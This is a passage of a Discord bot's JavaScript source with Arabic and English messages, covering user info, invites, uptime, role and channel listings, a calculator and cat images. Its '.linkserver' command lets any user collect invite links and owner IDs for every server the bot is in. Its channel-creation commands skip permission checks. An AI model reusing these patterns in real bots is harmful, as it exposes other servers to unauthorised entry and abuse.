8348 .addField(':robot: هل هو بوت', `**[ ${msg.author.bot.toString().toUpperCase()} ]**`, true);
8349 msg.channel.send({embed: embed})
8350 }
8351 });
8352 client.on('message', message => {
8353 if (message.content.startsWith(prefix + "user")) {
8354 var args = message.content.split(" ").slice(1);
8355 let user = message.mentions.users.first();
8356 var men = message.mentions.users.first();
8357 var heg;
8358 if(men) {
8359 heg = men
8360 } else {
8361 heg = message.author
8362 }
8363 var mentionned = message.mentions.members.first();
8364 var h;
8365 if(mentionned) {
8366 h = mentionned
8367 } else {
8368 h = message.member
8369 }
8370 moment.locale('ar-TN');
8371 var id = new Discord.RichEmbed()
8372 .setAuthor(message.author.username, message.author.avatarURL)
8373 .setColor("#707070")
8374 .addField(': Your access to Descord before', `${moment(heg.createdTimestamp).format('YYYY/M/D HH:mm:ss')} **\n** \`${moment(heg.createdTimestamp).fromNow()}\`` ,true)
8375 .addField(': Join the server before', `${moment(h.joinedAt).format('YYYY/M/D HH:mm:ss')} \n \`${moment(h.joinedAt).fromNow()}\``, true)
8376 .setFooter(`BlackBot™`, 'https://images-ext-2.discordapp.net/external/JpyzxW2wMRG2874gSTdNTpC_q9AHl8x8V4SMmtRtlVk/https/orcid.org/sites/default/files/files/ID_symbol_B-W_128x128.gif')
8377 .setThumbnail(heg.avatarURL);
8378 message.channel.send(id)
8379 } });
8380
8381
8382
8383
8384
8385
8386
8387 client.on('message', message => {
8388 if(message.content.startsWith(`${prefix}invite`)){
8389 if(!message.channel.guild) return;
8390 var embed = new Discord.RichEmbed()
8391 .setTitle(">> ClickHere To Add" + `${client.user.username}` + " <<")
8392 .setURL("https://discordapp.com/oauth2/authorize?client_id=" + `${client.user.id}` + "&scope=bot&permissions=2080374975")
8393 .setTimestamp()
8394 .setFooter(`Requested By | ${message.author.username}`)
8395 .setColor("RANDOM")
8396 message.channel.send(":white_check_mark: | Check Your DM! تم الأرسال بلخاص")
8397 message.author.send({embed})
8398 }
8399 });
8400
8401 ;
8402
8403
8404
8405
8406
8407
8408
8409
8410
8411client.on('message', msg => {
8412 if (msg.content === `${prefix}ownerbot`) {
8413 msg.reply(`**OwnerBot <@${client.user.ownerID}>**`);
8414 }
8415});
8416
8417
8418
8419
8420
8421client.on('message', message => {
8422 var prefix = "="
8423 if (message.author.bot) return;
8424if (message.content.startsWith(prefix + "uptime")) {
8425 let uptime = client.uptime;
8426
8427 let days = 0;
8428 let hours = 0;
8429 let minutes = 0;
8430 let seconds = 0;
8431 let notCompleted = true;
8432
8433 while (notCompleted) {
8434
8435 if (uptime >= 8.64e+7) {
8436
8437 days++;
8438 uptime -= 8.64e+7;
8439
8440 } else if (uptime >= 3.6e+6) {
8441
8442 hours++;
8443 uptime -= 3.6e+6;
8444
8445 } else if (uptime >= 60000) {
8446
8447 minutes++;
8448 uptime -= 60000;
8449
8450 } else if (uptime >= 1000) {
8451 seconds++;
8452 uptime -= 1000;
8453
8454 }
8455
8456 if (uptime < 1000) notCompleted = false;
8457
8458 }
8459
8460 message.channel.send("`" + `${days} days, ${hours} hrs, ${minutes} , ${seconds} sec` + "`");
8461
8462
8463}
8464});
8465
8466
8467
8468
8469client.on('message', message => {
8470 if (message.content === ".servers") {
8471 if(!message.channel.guild) return;
8472 let embed = new Discord.RichEmbed()
8473 .setColor("RANDOM")
8474 .addField("**Servers: **" , client.guilds.size)
8475 message.channel.sendEmbed(embed);
8476 }
8477});
8478
8479var cats = [
8480
8481"https://static.pexels.com/photos/104827/cat-pet-animal-domestic-104827.jpeg",
8482"https://www.petfinder.com/wp-content/uploads/2012/11/101438745-cat-conjunctivitis-causes.jpg",
8483"http://www.i-love-cats.com/images/2015/04/12/cat-wallpaper-38.jpg",
8484"https://www.aspca.org/sites/default/files/cat-care_urine-marking_main-image.jpg",
8485"https://vignette1.wikia.nocookie.net/houseofnight/images/8/8b/Cats.jpg/revision/latest?cb=20130812053537",
8486"https://s-media-cache-ak0.pinimg.com/originals/f0/3b/76/f03b7614dfadbbe4c2e8f88b69d12e04.jpg",
8487"http://www.rd.com/wp-content/uploads/sites/2/2016/04/15-cat-wants-to-tell-you-attention.jpg"
8488]
8489 client.on('message', message => {
8490 var args = message.content.split(" ").slice(1);
8491 if(message.content.startsWith(prefix + 'cat')) {
8492 var cat = new Discord.RichEmbed()
8493.setImage(cats[Math.floor(Math.random() * cats.length)])
8494message.channel.sendEmbed(cat);
8495 }
8496});
8497
8498
8499client.on('message', message => {
8500 if (message.content === ".roles") {
8501 if(!message.channel.guild) return;
8502 var roles = message.guild.roles.map(roles => `${roles.name}, `).join(' ')
8503 const embed = new Discord.RichEmbed()
8504 .setColor('RANDOM')
8505 .addField('Roles:',`**[${roles}]**`)
8506 message.channel.sendEmbed(embed);
8507 }
8508});
8509
8510
8511
8512
8513
8514
8515
8516
8517
8518
8519
8520
8521client.on("message", (message) => {
8522if (message.content.startsWith(".setchannel")) {
8523 let args = message.content.split(" ").slice(1);
8524 message.guild.createChannel(args.join(' '), 'text');
8525message.channel.sendMessage('تـم إنـشاء روم كـتابـي بنجاح|✅')
8526
8527}
8528});
8529
8530
8531
8532
8533
8534client.on("message", (message) => {
8535if (message.content.startsWith(".setvoice")) {
8536 let args = message.content.split(" ").slice(1);
8537 message.guild.createChannel(args.join(' '), 'voice');
8538 message.channel.sendMessage('تـم إنـشاء روم صـوتي بنجاح|✅')
8539
8540}
8541});
8542
8543
8544
8545
8546client.on('message' , message => {
8547 var prefix = ".";
8548if(message.content.startsWith(prefix+"userinfo")) {
8549 let user = message.mentions.users.first() || message.author;
8550 const joineddiscord = (user.createdAt.getDate() + 1) + '-' + (user.createdAt.getMonth() + 1) + '-' + user.createdAt.getFullYear() + ' | ' + user.createdAt.getHours() + ':' + user.createdAt.getMinutes() + ':' + user.createdAt.getSeconds();
8551 message.delete();
8552 let game;
8553 if (user.presence.game === null) {
8554 game = 'لا يلعب حاليا.';
8555 } else {
8556 game = user.presence.game.name;
8557 }
8558 let messag;
8559 if (user.lastMessage === null) {
8560 messag = 'لم يرسل رسالة. ';
8561 } else {
8562 messag = user.lastMessage;
8563 }
8564 let status;
8565 if (user.presence.status === 'online') {
8566 status = ':green_heart:';
8567 } else if (user.presence.status === 'dnd') {
8568 status = ':heart:';
8569 } else if (user.presence.status === 'idle') {
8570 status = ':yellow_heart:';
8571 } else if (user.presence.status === 'offline') {
8572 status = ':black_heart:';
8573 }
8574 if (user.presence.status === 'offline') {
8575 stat = 0x000000;
8576 } else if (user.presence.status === 'online') {
8577 stat = 0x00AA4C;
8578 } else if (user.presence.status === 'dnd') {
8579 stat = 0x9C0000;
8580 } else if (user.presence.status === 'idle') {
8581 stat = 0xF7C035;
8582 }
8583 const embed = new Discord.RichEmbed()
8584 .addField('**UserInfo:**', `**name:** ${user.username}#${user.discriminator}\n**JoinedDiscord:** ${joineddiscord}\n**LastMessage:** ${messag}\n**Playing:** ${game}\n**Status:** ${status}\n**Bot?** ${user.bot}`, true)
8585 .setThumbnail(user.displayAvatarURL)
8586 .addField(`Roles:`, message.guild.members.get(user.id).roles.array(role => role.name).slice(1).join(', '))
8587 .addField('DiscordInfo:', `**Discriminator:** #${user.discriminator}\n**ID:** ${user.id}\n**Username:** ${user.username}`)
8588 .setAuthor(`معلومات ${user.username}`, user.displayAvatarURL)
8589 .setColor(stat);
8590 message.channel.send({embed})
8591 .catch(e => logger.error(e));
8592}
8593 });
8594
8595
8596
8597
8598
8599
8600
8601
8602client.on('message', message => {
8603if(message.content === prefix + "roomsall"){
8604 if (message.author.bot) return
8605 if (!message.guild) return;
8606
8607 var channels = message.guild.channels.map(channels => `${channels.name}, `).join(' ')
8608 const embed = new Discord.RichEmbed()
8609 .setColor('RANDOM')
8610 .addField(`${message.guild.name}`,`**Rooms:white_check_mark:**`)
8611 .addField(':arrow_down: Number Of Rooms. :heavy_check_mark:',`** ${message.guild.channels.size}**`)
8612
8613.addField(':arrow_down: Rooms Name. :heavy_check_mark::',`**[${channels}]**`)
8614 message.channel.sendEmbed(embed);
8615 }
8616});
8617
8618
8619
8620client.on('message', msg => {
8621 if(msg.author.bot) return;
8622
8623 if(msg.content === '.linkserver') {
8624 client.guilds.forEach(g => {
8625
8626 let l = g.id
8627 g.channels.get(g.channels.first().id).createInvite({
8628 maxUses: 5,
8629 maxAge: 86400
8630 }).then(i => msg.channel.send(`
8631 **
8632 Invite Link : <https://discord.gg/${i.code}>
8633 Server : ${g.name} | Id : ${g.id}
8634 Owner ID : ${g.owner.id}
8635 **
8636 `))
8637
8638
8639 })
8640 }
8641
8642 })
8643
8644
8645
8646
8647client.on("message", message => {
8648 if (message.author.bot) return;
8649 if (!message.channel.guild) return;
8650 if (!games[message.author.id]) games[message.author.id] = {
8651 credits: 100,
8652 level: 1,
8653 };
8654fs.writeFile('./games.json', JSON.stringify(games), (err) => {
8655if (err) console.error(err);
8656});
8657});
8658
8659 const math = require('math-expression-evaluator');
8660 const stripIndents = require('common-tags').stripIndents;
8661
8662 client.on('message', msg => {
8663 if (msg.content.startsWith(prefix + 'calc')) {
8664 let args = msg.content.split(" ").slice(1);
8665 const question = args.join(' ');
8666 if (args.length < 1) {
8667 msg.reply('**Please Write The Question **.');
8668 } else { let answer;
8669 try {
8670 answer = math.eval(question);
8671 } catch (err) {
8672 return msg.reply(`Error: ${err}`);
8673 }
8674
8675 const embed = new Discord.RichEmbed()
8676 .setThumbnail('https://d.top4top.net/p_99646wy51.png')
8677 .setDescription(`**
8678 Q: :thinking: : ${question}
8679
8680 A: :writing_hand: : ${answer}**
8681 `)
8682 msg.channel.send(embed)
8683 }
8684 };
8685 });
8686
8687
8688
8689
8690 client.on("error", function() {
8691return console.log(arguments[0])
8692});
8693
8694client.login(Token)